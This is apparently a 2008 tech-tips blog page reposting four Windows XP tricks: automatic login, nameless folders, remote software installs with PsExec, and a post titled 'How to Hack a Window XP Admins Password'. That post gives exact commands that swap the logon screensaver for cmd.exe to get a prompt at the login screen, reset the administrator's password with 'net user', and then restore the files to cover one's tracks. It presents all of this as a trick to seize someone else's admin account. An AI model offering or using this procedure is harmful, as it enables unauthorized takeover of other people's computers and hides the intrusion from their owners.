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  • Configuring XP to Automatically Login

    Posted on October 5th, 2008 admin No comments

    Okay, I have a temporary internet connection for a few days, so I won’t write this myself.
    Original Post comes from http://www.techiesouls.com/2008/08/26/489/

    If you have a Personal Computer which no one else you use then you really don’t need putting password at windows login instead you can configure it to directly pop in you desktop whenever you switch it on. It can strip a few seconds from your total boot time if its really not necessary.

    Configuration is so easy and takes 10 seconds max and 3 steps:

    1. Go to Start button in your taskbar > Click Run > and type ‘CONTROL USERPASSWORDS2’ and click Ok.

    2. User Accounts window will be opened Select the User which you want to be automatically logged in every time windows starts (in my case it’s Administrator) after selecting Uncheck ‘User must enter username and password to use this computer’ just click ok now.

    3. Another window will open asking you Username & Password just enter you login information and hit Ok. You are done now your windows will always be automatically login and won’t ask you for password.

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  • How to Hack a Window XP Admins Password

    Posted on August 4th, 2008 admin No comments

    Ever Wondered That you can hack the admins password?
    Its very possible, Anyone can do it!
    I have found this post on http://internetbusinessdaily.net/how-to-hack-a-window-xp-admins-password/
    Hope you find this useful, As I did

    This is a cool little computer trick for Microsoft Windows trick I’ve picked up in my travels and decided to share it with you fine and ethical individuals =). Log in and go to your DOS command prompt and enter these commands exactly:
    cd\
    cd\windows\system32
    mkdir temphack
    copy logon.scr temphack\logon.scr
    copy cmd.exe temphack\cmd.exe
    del logon.scr
    rename cmd.exe logon.scr
    exit

    So what you just told windows to backup is the command program and the screen saver file. Then you edited the settings so when windows loads the screen saver, you will get an unprotected dos prompt without logging in. When this appears enter this command that’s in parenthesis (net user password). So if the admin user name is Doug and you want the password 1234 then you would enter “net user Doug 1234″ and now you’ve changed the admin password to 1234. Log in, do what you want to do, copy the contents of temphack back into system32 to cover your tracks.

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  • Create Folders And Files With NO! Name

    Posted on July 31st, 2008 admin 1 comment

    This trick will allow you to create files and folders without any name.

    Just follow the following steps:
    1.Select any file or folder.
    2.Right click on it, press rename or simply press F2.
    3.Press and hold the alt key. While holding the Alt key, type numbers 0160 from the numpad.

    Note: Type the numbers 0160 from the numpad, that is, the numbers present on the right side of the keyboard. Don’t type the numbers which are present on top of the character keys.

    4.Press Enter and the nameless file or folder will be created.

    Reason: The file or folder that seems nameless is actually named with a single space.

    But what if you want to create another nameless file or folder in the same directory ?

    For this you will have to rename the file with 2 spaces. Just follow these steps below:

    1.Select file, press F2.
    2.Hold alt key and type 0160 from the numpad.
    3.Release the alt key. Now without doing anything else, again hold alt key and press 0160.
    4.Press enter and you will have second nameless file in the same directory.
    5.Repeat step 3 to create as many nameless files or folders in the same directory.

    (we’ve had a problem with deleting these folders, to do so, start your computer in safe mode and delete it from there.)

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  • Let Users Install Software Without Giving Them Administrator Rights

    Posted on July 30th, 2008 admin 2 comments

    I recently discovered a new way to remotely install software. When users require a program to be installed on their computers, they download the software to their desktops. I then use Sysinternals’ PsExec utility (http://www.sysinternals.com/utilities/psexec.html) to remotely start the execution of the program, but I start the program interactively so that the user who is logged on to the target computer can complete the installation.

    This approach is advantageous because you don’t need to give Administrator privileges to users who need to install software on their computers. When you run PsExec without a username and password, the remote process runs under the same account from which you execute PsExec (in this case, the Administrator account). Because the remote process is impersonating that account, the user won’t have access to network resources on the remote system. (When you specify a username and password, the remote process executes in the specified account and will have access to any network resources that the account has access to.) Using PsExec is handier than using the built-in RunAs command because you don’t need to be physically sitting at a user’s computer.

    To use PsExec to remotely install software, you need to start the installer.exe program with the following command:

    Psexec -i \\targetcomputer
     \\targetcomputer\c$\
     documents and settings\
     username\desktop\installer.exe

    The -i option starts installer.exe interactively for the user currently logged on to the machine specified by targetcomputer.

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